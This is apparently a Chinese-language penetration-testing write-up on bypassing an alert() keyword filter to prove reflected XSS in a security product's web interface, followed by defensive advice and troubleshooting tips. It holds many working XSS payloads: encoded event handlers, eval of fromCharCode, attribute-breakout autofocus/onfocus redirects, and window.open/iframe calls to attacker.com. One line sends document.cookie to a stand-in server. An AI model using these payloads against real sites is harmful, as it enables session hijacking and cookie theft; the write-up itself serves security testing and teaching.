1. 项目概述一次针对特定安全软件的XSS绕过实战最近在内部的一次安全评估中遇到了一个挺有意思的挑战某款用户基数庞大的安全卫士软件在其某个Web管理界面中存在一个潜在的跨站脚本漏洞。但和常规的XSS测试不同这个场景下最常用的alert()弹窗函数被前端的安全策略或WAF规则给拦截了。这就像你发现了一扇门但最顺手的钥匙却插不进去。我们的目标很明确就是绕过这个对alert的检测成功执行任意JavaScript代码并最终实现弹窗以此证明漏洞的切实存在和可利用性。这不仅仅是弹个窗那么简单它证明了攻击者可以突破前端防御为后续更严重的攻击如窃取Cookie、发起CSRF、钓鱼等打开通道。对于从事Web安全、渗透测试或者前端开发的朋友来说理解XSS绕过的思路远比记住几个Payload重要。这次绕过“某安全卫士”的案例涉及了对前端过滤逻辑的猜测、对JavaScript执行上下文的利用以及对浏览器原生API的深度挖掘整个过程充满了“攻防博弈”的乐趣。无论你是想提升自己的安全测试能力还是作为开发者想更好地防护自己的应用这些绕过技巧背后的原理都值得细细品味。2. 核心思路为什么alert()会被封以及我们如何另辟蹊径2.1 常见的前端防御与我们的突破口安全软件拦截alert()通常不是拦截这个函数本身而是拦截包含alert这个字符串的脚本输入。它们的防御逻辑可能存在于以下几个层面输入过滤在服务器端或客户端对用户输入进行黑名单过滤直接删除或转义script、javascript:、alert、onerror等敏感字符串。输出编码在将用户输入渲染到HTML页面时对关键字符如,,,,进行HTML实体编码但这主要防御的是将输入直接作为HTML内容的情况。如果输入被放入了JavaScript代码段如scriptvar a ‘用户输入’; /script或DOM属性如onclick”用户输入”则需要不同的编码方式。内容安全策略通过设置HTTP响应头Content-Security-Policy来限制脚本的来源和执行方式例如禁止unsafe-inline内联脚本。但这通常不会单独针对alert。自定义WAF规则在流量层面基于正则表达式匹配请求和响应中的攻击特征alert(是一个极其明显的特征。我们的绕过思路核心在于“变异”和“利用环境”变异不让攻击载荷以alert(1)这种经典形式出现。通过编码、拆分、利用JavaScript语法糖等方式让最终的代码能执行但中间的形态能绕过简单的字符串匹配。利用环境不直接依赖alert。浏览器提供了丰富的原生API和对象很多都能产生可视化的反馈如弹窗、跳转、控制台输出我们的目标是找到那些未被防御规则覆盖的“等效功能”。2.2 绕过路径规划从简单到复杂在实战中我通常会遵循一个逐步深入的测试路径这能帮你系统地评估防御的强度基础确认首先确认漏洞注入点的类型反射型、存储型、DOM型和上下文在HTML标签内、在属性值里、在JavaScript字符串中。这决定了后续Payload的构造方式。试探过滤规则先尝试最简单的scriptalert(1)/script和img srcx onerroralert(1)。如果被拦观察拦截方式是弹窗提示、请求被阻断还是输入被清空这能帮你判断防御发生在前端还是后端。尝试通用绕过使用大小写变换、插入空白符Tab、换行、使用HTML实体或JavaScript Unicode转义。例如ScRiPtalert(1)/sCriPt 或\u0061\u006c\u0065\u0072\u0074(1)即alert的Unicode形式。寻找替代函数如果明确是alert被过滤这就是本次的重点。我们需要找到一个能产生类似“证明效果”且未被过滤的函数。注意在真实渗透测试中必须获得明确的书面授权才能对目标系统进行任何形式的攻击测试。本文所有技术讨论仅用于安全研究与学习请勿用于非法用途。3. 弹窗函数替代方案大全不止有alert当alert被禁我们首先要意识到浏览器中能产生交互式弹窗或明显视觉/行为反馈的函数远不止一个。下面我根据实战经验整理了几个层级的替代方案从简单到巧妙。3.1 第一梯队直接可用的原生弹窗函数除了alert浏览器原生提供了另外两个类似的对话框函数confirm(‘message’)显示一个带有“确定”和“取消”按钮的对话框。点击“确定”返回true点击“取消”返回false。它同样会阻塞当前页面线程。prompt(‘message’, defaultText)显示一个带有输入框的对话框用户可以输入文本。点击“确定”返回输入值点击“取消”返回null。绕过实战 如果防御规则只是简单黑名单匹配alert这个词那么confirm和prompt大概率可以直接使用。Payload示例img srcx onerrorconfirm(document.domain)这个Payload会在图片加载错误时弹出一个确认框显示当前页面的域名这同样是漏洞存在的有力证明。实操心得confirm和prompt的证明力有时比alert更强因为它们展示了更复杂的交互能力。但有些更严格的安全策略可能会将这三个函数一并封杀。这时我们就需要更隐蔽的方法。3.2 第二梯队利用浏览器行为与窗口操作当标准弹窗被禁我们可以操纵浏览器窗口本身来制造“弹窗”效果。window.open()打开一个新窗口或标签页。虽然现代浏览器通常会将其限制为“弹出式窗口”并可能被拦截但在某些交互上下文如用户点击事件后中依然可能成功。我们可以通过它打开一个明显非预期的页面来证明代码执行。Payload示例svg/onloadwindow.open(‘https://attacker.com’)。如果测试页面弹出了一个新标签页就证明代码已执行。修改window.location通过重定向页面到另一个URL造成一次非常明显的页面“跳转”这比弹窗更具破坏性。Payload示例input onfocuswindow.location’attacker-site.com’ autofocus。这个Payload利用了autofocus属性使输入框自动获得焦点从而触发onfocus事件实现页面跳转。伪协议弹窗javascript:伪协议虽然在内联事件处理器中逐渐被限制但在某些古老的接口或特定上下文中仍可能生效。例如在a href属性中a href”javascript:confirm(1)”Click/a。注意事项window.open和location重定向容易被浏览器自身的弹出窗口拦截器或安全扩展阻止。测试时需注意观察浏览器地址栏或标签页的变化而不仅仅是等待弹窗。3.3 第三梯队高级技巧与模糊处理如果上述方法都失效说明防御方可能采用了一些更智能的过滤或沙箱机制。这时就需要祭出一些“奇技淫巧”。1. 字符串拼接与编码绕过核心思想不让alert这个完整的字符串出现在源代码中。利用eval和String.fromCharCode将alert(1)的每个字符的ASCII码拼接起来然后用eval执行。Payload示例scripteval(String.fromCharCode(97,108,101,114,116,40,49,41))/script原理拆解97,108,101,114,116,40,49,41分别对应a, l, e, r, t, (, 1, )。String.fromCharCode将它们还原成字符串”alert(1)”然后eval将其作为代码执行。这个Payload在源代码里完全看不到alert字样。利用setTimeout或setInterval将代码作为字符串传递给这些函数。Payload示例img srcx onerror”setTimeout(‘al’’ert(1)’, 0)”。这里通过字符串拼接’al’’ert(1)’来绕过对完整alert的检测。Unicode和Hex编码对事件处理器或标签名本身进行编码。Payload示例img srcx #x6F;#x6E;#x65;#x72;#x72;#x6F;#x72;alert(1)。这里#x6F;n#x65;r#x72;o#x72;是onerror的HTML十六进制实体编码浏览器在解析时会将其还原为onerror属性。2. 利用非常规标签与事件不要只盯着script和img onerror。HTML5和现代浏览器支持大量标签和事件。svg标签SVG元素内联在HTML中且支持事件处理器。Payload示例svgscriptconfirm(1)/script或svg/onloadconfirm(1)details标签的ontoggle事件当用户打开或关闭details元素时触发。Payload示例details ontoggleconfirm(1) open。open属性使其初始为打开状态可能立即触发事件取决于浏览器实现。body/input/textarea的onload、onfocus、onblur等事件。3. 反引号模板字符串与${}执行在支持ES6的浏览器中反引号定义的模板字符串内的${}会执行其中的JavaScript表达式。这可以用于构造一些有趣的Payload。Payload示例img srcx onerror${confirm1}这个Payload看起来有点绕。实际上confirm1“ 会先执行但这里的关键是利用了模板字符串的解析特性。更常见的用法是配合evalscriptevalalert\x281\x29/script。这里\x28和x29是(和)的十六进制转义eval作为标签模板函数被调用有时能绕过一些简单的过滤。4. 针对“某安全卫士”的实战绕过过程剖析回到我们最初的挑战。经过初步测试直接使用alert()、confirm()、prompt()均被拦截页面输入被清空或请求被阻断。script标签和常见的onerror事件也被过滤。这说明其防御可能结合了关键词黑名单和标签事件黑名单。我的绕过步骤是这样的第一步信息收集与上下文分析通过手动测试和工具辅助我发现漏洞点是一个反射型XSS用户输入被直接输出到一个input标签的value属性中但未做任何编码。原始的PoC类似https://vuln-site/search?keywordtest 页面上会有input type”text” value”test”。第二步基础绕过尝试尝试闭合value属性引入新的事件处理器“img srcx onerrorconfirm(1)。结果整个onerror属性被移除。尝试使用HTML实体编码onerror“ img srcx #x6F;nerrorconfirm(1)。结果失败可能后端做了规范化解码后再过滤。尝试大小写和嵌套“ScRiPtconfirm(1)/sCrIpT。结果script标签被移除。第三步深入利用与成功绕过在多次尝试后我转换思路。既然输入点在value属性内我能否不引入新标签而是利用输入框自身的事件我构造了如下Payload“ autofocus onfocuslocation.href’data:text/html,h1Hacked/h1’ “让我们拆解一下这个Payload“首先闭合原始的value属性的双引号。autofocus添加autofocus属性使这个input元素在页面加载时自动获得焦点。onfocus添加onfocus事件处理器当元素获得焦点时触发。location.href’data:text/html,h1Hacked/h1’事件触发时执行的代码。它将当前页面的地址修改为一个data:协议URL这个URL的内容是一个简单的显示“Hacked”的HTML页面。当我提交这个Payload后页面发生了瞬间的跳转变成了一个只显示“Hacked”的页面。这成功证明了XSS代码的执行并且完全绕过了对alert、confirm等关键词以及script、img等标签的过滤。为什么这个Payload能成功利用了合法的HTML属性autofocus和onfocus都是input标签完全合法的属性不属于常规的XSS黑名单。利用了浏览器默认行为autofocus触发了onfocus事件无需用户交互实现了“自动触发”。使用了非弹窗的证明方式location.href跳转是一个破坏性更强、视觉反馈更明显的效果它直接证明了攻击者可以完全控制用户的浏览器会话。规避了字符串检测整个Payload中没有出现alert、confirm、prompt、script、img等典型关键词。5. 防御视角如何构建更有效的XSS防护作为开发者从这次绕过中我们能学到如何更好地防御XSS严格的输出编码这是黄金法则。根据输出上下文HTML体、HTML属性、JavaScript、CSS、URL使用对应的编码函数。不要试图用黑名单过滤白名单和编码才是正道。HTML内容将 “ ‘分别转换为lt;gt;amp;quot;#x27;HTML属性同上始终用引号包裹属性值。JavaScript将数据放入JSON.stringify()或者进行Unicode转义。使用CSP部署严格的Content-Security-PolicyHTTP头。例如Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com;这能从根本上禁止内联脚本和来自不可信源的脚本。输入验证在业务允许的范围内对输入格式进行严格的白名单验证如只允许数字、字母和特定符号。避免危险的API尽量避免使用innerHTML、document.write()、eval()、setTimeout(string)等可以执行字符串代码的函数。如果必须用务必对输入进行严格的净化。框架自带防护使用现代前端框架如React, Vue, Angular它们通常提供默认的XSS防护机制如自动转义。6. 常见问题与排查技巧实录在XSS绕过测试中你可能会遇到各种奇怪的现象。下面是我总结的一些常见问题及排查思路问题现象可能原因排查思路与技巧Payload提交后页面无任何变化输入被清空。1. 后端进行了强过滤并直接丢弃了非法输入。2. WAF拦截了请求返回了错误页或重置了连接。1.查看响应使用Burp Suite或浏览器开发者工具的Network面板查看服务器返回的实际响应内容。过滤可能发生在后端但错误信息可能藏在响应里。2.简化Payload尝试提交一个单引号’或双引号”看是否被转义或过滤。这是探测过滤逻辑的第一步。3.更改请求方法尝试将GET请求改为POST有时WAF规则对两者的检测强度不同。弹窗一闪而过或被浏览器自动关闭。1. 页面有代码检测到弹窗并自动关闭如window.onbeforeunload或setTimeout关闭弹窗。2. 浏览器内置的弹出窗口拦截器在工作。1.使用confirm或prompt这两个对话框需要用户交互不易被脚本自动关闭。2.利用console.log如果只是为了证明代码执行向浏览器控制台输出信息是更稳定且不易被干扰的方式。Payloadconsole.log(document.domain)。3.断点调试在浏览器开发者工具的Sources面板中在suspicious.js或事件处理器处设置断点跟踪代码执行流程看是谁关闭了你的弹窗。在script标签内的Payload不执行。1. 输入点位于JavaScript字符串中需要先闭合字符串。2. 服务器对/script标签进行了特殊处理。3. CSP策略禁止了内联脚本。1.确认上下文查看页面源代码找到你的输入被放置在什么位置。是在scriptvar a ‘YOUR_INPUT’;/script里吗2.闭合字符串如果是在字符串内Payload应为’; alert(1); //。这会导致var a ‘’; alert(1); //’;从而执行代码。3.检查CSP响应头在Network面板查看HTTP响应头是否有Content-Security-Policy。事件处理器如onerror不触发。1. 属性名或事件名被过滤。2. 资源加载成功未触发onerror。3. 标签被浏览器或安全软件动态移除。1.尝试其他事件如onload、onmouseover、onfocus、onblur等。2.确保资源加载失败对于onerror确保src指向一个肯定不存在的地址如x或http://0.0.0.0/。3.使用svg标签svg标签的onload事件通常非常可靠。Payloadsvg onloadconfirm(1)使用location.href跳转被阻止。1. 浏览器安全限制如从file://协议页面跳转到http://协议。2. 页面有beforeunload事件处理函数返回了false阻止了导航。1.使用location.replace()有时replace方法比直接赋值href限制更少。2.使用window.open()尽管可能被拦截但在某些上下文中仍可尝试。3.使用iframe尝试用JavaScript动态创建一个iframe并设置其src这有时能绕过对顶层页面跳转的限制。Payloadsvg onload”var idocument.createElement(‘iframe’);i.src’attacker.com’;document.body.appendChild(i)”个人实操心得保持耐心与创造力XSS绕过是一场猫鼠游戏。当一条路走不通时回头重新分析上下文想想有没有被忽略的HTML标签、属性或JavaScript函数。善用开发者工具Console控制台是你的好朋友。你可以在Payload中嵌入console.log(‘step1’)来调试代码执行到了哪一步。Elements元素面板可以让你实时查看DOM被修改后的情况确认Payload是否被正确解析。理解浏览器解析顺序浏览器是先解析HTML生成DOM树然后才执行JavaScript。因此利用HTML属性注入的XSS如onerror发生在DOM构建阶段而script标签内的代码则在其后的脚本执行阶段运行。这个顺序差异会影响绕过策略。最终证明不一定需要弹窗在报告漏洞时console.log输出、document.title修改、非预期的图片加载img src’http://your-server/log?c’document.cookie、甚至向一个可控的服务器发起一个携带Cookie的请求BeEF Hook都是有效的漏洞证明方式。特别是在对抗严格WAF时这些“低调”的证明方式可能更有效。